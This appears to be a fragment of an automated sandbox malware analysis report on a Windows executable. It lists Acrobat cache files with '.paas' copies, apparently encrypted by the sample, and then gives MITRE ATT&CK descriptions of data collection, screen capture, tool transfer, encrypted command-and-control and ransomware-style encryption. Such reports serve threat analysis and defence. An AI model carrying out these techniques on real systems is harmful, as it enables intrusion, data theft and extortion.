C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.paas (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.paas (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.paas (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.paas (copy)

Windows Analysis Report
f6ffg1sZS2.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre